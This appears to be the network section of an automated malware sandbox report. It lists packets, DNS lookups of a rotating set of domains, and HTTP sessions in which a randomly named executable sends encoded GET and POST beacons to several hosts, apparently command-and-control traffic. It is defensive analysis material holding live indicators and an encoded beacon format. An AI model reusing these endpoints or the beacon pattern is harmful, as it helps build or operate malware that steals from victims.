Jul 3, 2024 16:41:16.468796968 CEST	80	49732	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:16.476917982 CEST	80	49732	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:16.476986885 CEST	49732	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:17.329364061 CEST	49732	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:18.348992109 CEST	49733	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:18.353871107 CEST	80	49733	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:18.353954077 CEST	49733	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:18.356312990 CEST	49733	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:18.361241102 CEST	80	49733	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:19.225675106 CEST	80	49733	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:19.225687981 CEST	80	49733	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:19.225703001 CEST	80	49733	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:19.225826979 CEST	49733	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:19.225915909 CEST	49733	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:19.228818893 CEST	49733	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:19.234436989 CEST	80	49733	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:40.882946014 CEST	49734	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:40.891582966 CEST	80	49734	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:40.891669989 CEST	49734	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:40.894341946 CEST	49734	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:40.901521921 CEST	80	49734	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:41.533133030 CEST	80	49734	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:41.535643101 CEST	80	49734	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:41.535753012 CEST	80	49734	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:41.535856962 CEST	49734	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:42.407447100 CEST	49734	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:43.444988012 CEST	49735	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:43.449911118 CEST	80	49735	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:43.450139046 CEST	49735	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:43.452306032 CEST	49735	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:43.457135916 CEST	80	49735	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:44.097403049 CEST	80	49735	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:44.099843979 CEST	80	49735	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:44.099894047 CEST	49735	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:44.100023985 CEST	80	49735	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:44.100073099 CEST	49735	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:44.954336882 CEST	49735	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:45.972950935 CEST	49736	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:45.979283094 CEST	80	49736	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:45.982606888 CEST	49736	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:45.986387014 CEST	49736	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:45.991519928 CEST	80	49736	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:45.991533995 CEST	80	49736	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:46.698823929 CEST	80	49736	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:46.702044010 CEST	80	49736	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:46.702091932 CEST	49736	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:46.702548027 CEST	80	49736	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:46.702604055 CEST	49736	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:47.485814095 CEST	49736	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:48.567806959 CEST	49737	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:48.693413019 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:48.693489075 CEST	49737	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:48.696413040 CEST	49737	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:48.702730894 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:49.340217113 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:49.355428934 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:49.355463982 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:49.355475903 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:49.355639935 CEST	49737	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:49.355667114 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:49.355676889 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:49.355732918 CEST	49737	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:49.355813980 CEST	49737	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:49.357033968 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:49.358762026 CEST	49737	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:49.362293959 CEST	49737	80	192.168.2.5	35.241.34.216
Jul 3, 2024 16:41:49.367209911 CEST	80	49737	35.241.34.216	192.168.2.5
Jul 3, 2024 16:41:54.401077986 CEST	49738	80	192.168.2.5	74.208.46.171
Jul 3, 2024 16:41:54.406097889 CEST	80	49738	74.208.46.171	192.168.2.5
Jul 3, 2024 16:41:54.406248093 CEST	49738	80	192.168.2.5	74.208.46.171
Jul 3, 2024 16:41:54.409286022 CEST	49738	80	192.168.2.5	74.208.46.171
Jul 3, 2024 16:41:54.414536953 CEST	80	49738	74.208.46.171	192.168.2.5
Jul 3, 2024 16:41:54.940505028 CEST	80	49738	74.208.46.171	192.168.2.5
Jul 3, 2024 16:41:54.940727949 CEST	80	49738	74.208.46.171	192.168.2.5
Jul 3, 2024 16:41:54.940776110 CEST	49738	80	192.168.2.5	74.208.46.171
Jul 3, 2024 16:41:55.924299002 CEST	49738	80	192.168.2.5	74.208.46.171
Jul 3, 2024 16:41:56.943294048 CEST	49739	80	192.168.2.5	74.208.46.171
Jul 3, 2024 16:41:56.948288918 CEST	80	49739	74.208.46.171	192.168.2.5
Jul 3, 2024 16:41:56.948369026 CEST	49739	80	192.168.2.5	74.208.46.171
Jul 3, 2024 16:41:56.950323105 CEST	49739	80	192.168.2.5	74.208.46.171
Jul 3, 2024 16:41:56.955842018 CEST	80	49739	74.208.46.171	192.168.2.5
Jul 3, 2024 16:41:57.469104052 CEST	80	49739	74.208.46.171	192.168.2.5
Jul 3, 2024 16:41:57.469856024 CEST	80	49739	74.208.46.171	192.168.2.5
Jul 3, 2024 16:41:57.470074892 CEST	49739	80	192.168.2.5	74.208.46.171
Jul 3, 2024 16:41:58.829282999 CEST	49739	80	192.168.2.5	74.208.46.171

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 16:39:26.747170925 CEST	58283	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:39:26.880378008 CEST	53	58283	1.1.1.1	192.168.2.5
Jul 3, 2024 16:39:31.895854950 CEST	62157	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:39:32.223649979 CEST	53	62157	1.1.1.1	192.168.2.5
Jul 3, 2024 16:39:47.864443064 CEST	54778	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:39:47.891410112 CEST	53	54778	1.1.1.1	192.168.2.5
Jul 3, 2024 16:39:55.958302021 CEST	64646	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:39:55.996679068 CEST	53	64646	1.1.1.1	192.168.2.5
Jul 3, 2024 16:40:09.101967096 CEST	50188	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:40:09.577852011 CEST	53	50188	1.1.1.1	192.168.2.5
Jul 3, 2024 16:40:43.583199024 CEST	49584	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:40:43.620145082 CEST	53	49584	1.1.1.1	192.168.2.5
Jul 3, 2024 16:40:56.786376953 CEST	63298	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:40:57.133352041 CEST	53	63298	1.1.1.1	192.168.2.5
Jul 3, 2024 16:41:10.413326979 CEST	54283	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:41:10.734431028 CEST	53	54283	1.1.1.1	192.168.2.5
Jul 3, 2024 16:41:24.240782976 CEST	52667	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:41:24.251256943 CEST	53	52667	1.1.1.1	192.168.2.5
Jul 3, 2024 16:41:32.318276882 CEST	58275	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:41:32.329464912 CEST	53	58275	1.1.1.1	192.168.2.5
Jul 3, 2024 16:41:40.397211075 CEST	58577	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:41:40.880045891 CEST	53	58577	1.1.1.1	192.168.2.5
Jul 3, 2024 16:41:54.380162001 CEST	62473	53	192.168.2.5	1.1.1.1
Jul 3, 2024 16:41:54.397344112 CEST	53	62473	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 16:39:26.747170925 CEST	192.168.2.5	1.1.1.1	0x602a	Standard query (0)	www.gospelstudygroup.org	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:39:31.895854950 CEST	192.168.2.5	1.1.1.1	0xa06a	Standard query (0)	www.valerieomage.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:39:47.864443064 CEST	192.168.2.5	1.1.1.1	0x4e0b	Standard query (0)	www.instantmailer.cloud	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:39:55.958302021 CEST	192.168.2.5	1.1.1.1	0xaec6	Standard query (0)	www.kosherphonestore.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:40:09.101967096 CEST	192.168.2.5	1.1.1.1	0xbc2c	Standard query (0)	www.cwgehkk.store	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:40:43.583199024 CEST	192.168.2.5	1.1.1.1	0x873d	Standard query (0)	www.mybodyradar.net	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:40:56.786376953 CEST	192.168.2.5	1.1.1.1	0x27b7	Standard query (0)	www.lacemalt.top	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:10.413326979 CEST	192.168.2.5	1.1.1.1	0x4640	Standard query (0)	www.siteblogoficialon.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:24.240782976 CEST	192.168.2.5	1.1.1.1	0xee4e	Standard query (0)	www.mcxright.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:32.318276882 CEST	192.168.2.5	1.1.1.1	0xcc8d	Standard query (0)	www.amkmos.online	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:40.397211075 CEST	192.168.2.5	1.1.1.1	0x1b0f	Standard query (0)	www.mg55aa.xyz	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:54.380162001 CEST	192.168.2.5	1.1.1.1	0x831b	Standard query (0)	www.lavillitadepapa.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 16:39:26.880378008 CEST	1.1.1.1	192.168.2.5	0x602a	Name error (3)	www.gospelstudygroup.org	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:39:32.223649979 CEST	1.1.1.1	192.168.2.5	0xa06a	No error (0)	www.valerieomage.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 16:39:32.223649979 CEST	1.1.1.1	192.168.2.5	0xa06a	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:39:47.891410112 CEST	1.1.1.1	192.168.2.5	0x4e0b	Name error (3)	www.instantmailer.cloud	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:39:55.996679068 CEST	1.1.1.1	192.168.2.5	0xaec6	No error (0)	www.kosherphonestore.com	www.kosherphonestore.com.cdn.hstgr.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 16:39:55.996679068 CEST	1.1.1.1	192.168.2.5	0xaec6	No error (0)	www.kosherphonestore.com.cdn.hstgr.net		84.32.84.130	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:40:09.577852011 CEST	1.1.1.1	192.168.2.5	0xbc2c	No error (0)	www.cwgehkk.store		43.155.26.241	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:40:43.620145082 CEST	1.1.1.1	192.168.2.5	0x873d	No error (0)	www.mybodyradar.net	mybodyradar.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 16:40:43.620145082 CEST	1.1.1.1	192.168.2.5	0x873d	No error (0)	mybodyradar.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:40:43.620145082 CEST	1.1.1.1	192.168.2.5	0x873d	No error (0)	mybodyradar.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:40:57.133352041 CEST	1.1.1.1	192.168.2.5	0x27b7	No error (0)	www.lacemalt.top		203.161.55.102	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:10.734431028 CEST	1.1.1.1	192.168.2.5	0x4640	No error (0)	www.siteblogoficialon.com	siteblogoficialon.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 16:41:10.734431028 CEST	1.1.1.1	192.168.2.5	0x4640	No error (0)	siteblogoficialon.com		108.179.193.98	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:24.251256943 CEST	1.1.1.1	192.168.2.5	0xee4e	Name error (3)	www.mcxright.com	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:32.329464912 CEST	1.1.1.1	192.168.2.5	0xcc8d	Name error (3)	www.amkmos.online	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:40.880045891 CEST	1.1.1.1	192.168.2.5	0x1b0f	No error (0)	www.mg55aa.xyz		35.241.34.216	A (IP address)	IN (0x0001)	false
Jul 3, 2024 16:41:54.397344112 CEST	1.1.1.1	192.168.2.5	0x831b	No error (0)	www.lavillitadepapa.com		74.208.46.171	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.valerieomage.com

www.kosherphonestore.com

www.cwgehkk.store

www.mybodyradar.net

www.lacemalt.top

www.siteblogoficialon.com

www.mg55aa.xyz

www.lavillitadepapa.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	23.227.38.74	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:39:32.243674994 CEST	548	OUT	GET /c7rq/?k06T=httm3UUwH6NnwSQhbzeVca8kqE5bj6YPstl+OFvVeu4EU857dyc7w4+qhgXRMO7PTzi/X2HMMMtdNC+wv2+smLAouLcyIEijMeq9ccv2ntai0EWGFrkjFC0U/c7k/DTDLA==&rz=LZsl-bkp-XfXeRLp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.valerieomage.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Jul 3, 2024 16:39:32.818770885 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 14:39:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 223 X-Sorting-Hat-ShopId: 70582403296 X-Storefront-Renderer-Rendered: 1 location: https://valerieomage.com/c7rq?k06T=httm3UUwH6NnwSQhbzeVca8kqE5bj6YPstl+OFvVeu4EU857dyc7w4+qhgXRMO7PTzi/X2HMMMtdNC+wv2+smLAouLcyIEijMeq9ccv2ntai0EWGFrkjFC0U/c7k/DTDLA==&rz=LZsl-bkp-XfXeRLp x-redirect-reason: https_required x-frame-options: DENY content-security-policy: frame-ancestors 'none'; x-shopid: 70582403296 x-shardid: 223 vary: Accept powered-by: Shopify server-timing: processing;dur=13;desc="gc:1", db;dur=4, asn;desc="3356", edge;desc="EWR", country;desc="US", pageType;desc="404", servedBy;desc="2ljb", requestID;desc="79e26ac4-b8d2-49b7-aad5-6bf623d40852-1720017572" x-dc: gcp-us-east4,gcp-us-east1,gcp-us-east1 x-request-id: 79e26ac4-b8d2-49b7-aad5-6bf623d40852-1720017572 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ogqC992MOgu0KctDu5ItZUss6Y1Wn1nUFE1NeXx7EUyBGDRaZRRewDS%2F%2FRzW59Z4tNYSnmrb%2FjBus8kpb2hLorabTggF5AdfDRM9izZQdpWxeyCrICdxTMyt1inWe0auiScoRJ3V"}],"group":"cf-nel","max_age Data Raw: Data Ascii:
Jul 3, 2024 16:39:32.818922043 CEST	350	IN	Data Raw: 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 Data Ascii: :604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=84.999800X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: noneX-Downlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	84.32.84.130	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:39:56.006809950 CEST	820	OUT	POST /ktbm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.kosherphonestore.com Origin: http://www.kosherphonestore.com Referer: http://www.kosherphonestore.com/ktbm/ Content-Length: 205 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 51 41 36 55 59 46 54 2b 5a 68 62 66 72 4b 62 46 6b 42 69 59 64 75 50 6f 34 2f 56 7a 48 6b 75 55 69 70 77 63 53 37 4e 4c 77 70 55 6b 45 51 41 2f 52 34 4f 6d 31 58 44 61 33 43 33 73 7a 76 44 6b 76 6c 43 6f 78 62 33 64 6c 79 7a 77 32 6f 69 6d 4d 31 71 50 50 64 32 65 48 63 2f 4f 31 66 77 74 77 61 6d 2f 67 52 71 7a 52 56 48 31 34 6d 4f 56 4f 6c 68 46 45 49 52 47 68 65 68 77 6b 38 4c 6d 4f 76 7a 70 78 38 4f 52 5a 58 41 69 35 50 4d 77 45 52 30 49 63 68 6c 71 30 50 41 6f 4e 50 76 2b 4d 34 31 46 52 5a 78 33 34 50 55 2b 57 46 78 43 7a 47 70 31 78 73 30 5a 52 59 59 50 30 4b 4e 4c 6a 36 4f 64 33 6b 59 3d Data Ascii: k06T=QA6UYFT+ZhbfrKbFkBiYduPo4/VzHkuUipwcS7NLwpUkEQA/R4Om1XDa3C3szvDkvlCoxb3dlyzw2oimM1qPPd2eHc/O1fwtwam/gRqzRVH14mOVOlhFEIRGhehwk8LmOvzpx8ORZXAi5PMwER0Ichlq0PAoNPv+M41FRZx34PU+WFxCzGp1xs0ZRYYP0KNLj6Od3kY=
Jul 3, 2024 16:39:56.471627951 CEST	1218	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Wed, 03 Jul 2024 14:39:56 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.kosherphonestore.com/ktbm/ platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 1519ecb6f9e8e9e6e760b6f956740057-bos-edge1 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.002 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	84.32.84.130	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:39:58.542188883 CEST	840	OUT	POST /ktbm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.kosherphonestore.com Origin: http://www.kosherphonestore.com Referer: http://www.kosherphonestore.com/ktbm/ Content-Length: 225 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 51 41 36 55 59 46 54 2b 5a 68 62 66 72 71 48 46 6e 69 4b 59 4d 65 50 72 6b 76 56 7a 64 55 75 59 69 75 34 63 53 36 35 6c 77 62 77 6b 45 31 6b 2f 51 36 32 6d 34 33 44 61 76 53 32 6e 33 76 44 76 76 6c 4f 4b 78 62 37 64 6c 79 6e 77 32 71 36 6d 4d 43 2b 49 50 4e 32 63 4c 38 2f 4d 37 2f 77 74 77 61 6d 2f 67 52 75 5a 52 55 6a 31 35 58 2b 56 4f 45 67 54 48 49 52 46 33 4f 68 77 31 73 4c 69 4f 76 79 4f 78 39 6a 5a 5a 53 45 69 35 50 38 77 48 45 41 4c 54 68 6c 73 77 50 42 47 45 74 53 42 42 37 64 57 5a 62 35 77 6f 70 41 43 54 7a 63 6f 70 6b 68 64 69 4d 59 68 42 4c 51 34 6c 36 73 69 35 5a 65 74 70 7a 50 57 35 55 6e 73 63 61 30 62 32 64 58 74 64 72 4d 55 41 43 6e 41 Data Ascii: k06T=QA6UYFT+ZhbfrqHFniKYMePrkvVzdUuYiu4cS65lwbwkE1k/Q62m43DavS2n3vDvvlOKxb7dlynw2q6mMC+IPN2cL8/M7/wtwam/gRuZRUj15X+VOEgTHIRF3Ohw1sLiOvyOx9jZZSEi5P8wHEALThlswPBGEtSBB7dWZb5wopACTzcopkhdiMYhBLQ4l6si5ZetpzPW5Unsca0b2dXtdrMUACnA
Jul 3, 2024 16:39:59.017893076 CEST	1218	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Wed, 03 Jul 2024 14:39:58 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.kosherphonestore.com/ktbm/ platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 1ee731d08ec6e50cdb3c3817ee9e9ce9-bos-edge1 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.001 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	84.32.84.130	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
